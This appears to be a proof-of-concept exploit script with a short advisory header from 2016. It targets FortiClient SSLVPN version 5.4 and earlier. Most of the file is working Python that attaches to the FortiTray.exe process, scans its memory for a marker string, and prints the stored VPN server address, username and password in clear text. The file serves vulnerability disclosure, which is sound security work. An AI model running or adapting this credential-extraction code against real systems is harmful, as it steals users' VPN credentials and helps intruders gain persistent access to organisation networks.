54 lines
No EOL
3.2 KiB
Python
Executable file
54 lines
No EOL
3.2 KiB
Python
Executable file
'''
|
|
Title : Extracting clear text passwords from running processes(FortiClient)
|
|
CVE-ID : none
|
|
Product : FortiClient SSLVPN
|
|
Service : FortiTray.exe
|
|
Affected : <=5.4
|
|
Impact : Critical
|
|
Remote : No
|
|
Website link : http://forticlient.com/
|
|
Reported : 31/08/2016
|
|
Authors : Viktor Minin https://1-33-7.com
|
|
Alexander Korznikov http://korznikov.com
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
In our research which involved this program we found that this process store the credentials that you supplied for connecting, in clear text in the process memory.
|
|
In this situation a potential attacker who hacked your system can reveal your Username and Password steal and use them.
|
|
This may assist him in gaining persistence access to your Organization LAN network.
|
|
'''
|
|
|
|
from winappdbg import Debug, Process, HexDump
|
|
import sys
|
|
|
|
filename = "FortiTray.exe" # Process name
|
|
search_string = "fortissl" # pattern to get offset when the credentials stored
|
|
|
|
# Searching function
|
|
def memory_search( pid, strings ):
|
|
process = Process( pid )
|
|
mem_dump = []
|
|
######
|
|
# You could also use process.search_regexp to use regular expressions,
|
|
# or process.search_text for Unicode strings,
|
|
# or process.search_hexa for raw bytes represented in hex.
|
|
######
|
|
for address in process.search_bytes( strings ):
|
|
dump = process.read(address-10,800) #Dump 810 bytes from process memory
|
|
mem_dump.append(dump)
|
|
for i in mem_dump:
|
|
if "FortiClient SSLVPN offline" in i: #print all founds results by offsets to the screen.
|
|
print "\n"
|
|
print " [+] Address and port to connect: " + str(i[136:180])
|
|
print " [+] UserName: " + str(i[677:685])
|
|
print " [+] Password: " + str(i[705:715])
|
|
print "\n"
|
|
|
|
debug = Debug()
|
|
try:
|
|
# Lookup the currently running processes.
|
|
debug.system.scan_processes()
|
|
# Look for all processes that match the requested filename...
|
|
for ( process, name ) in debug.system.find_processes_by_filename( filename ):
|
|
pid = process.get_pid()
|
|
memory_search(pid,search_string)
|
|
finally:
|
|
debug.stop() |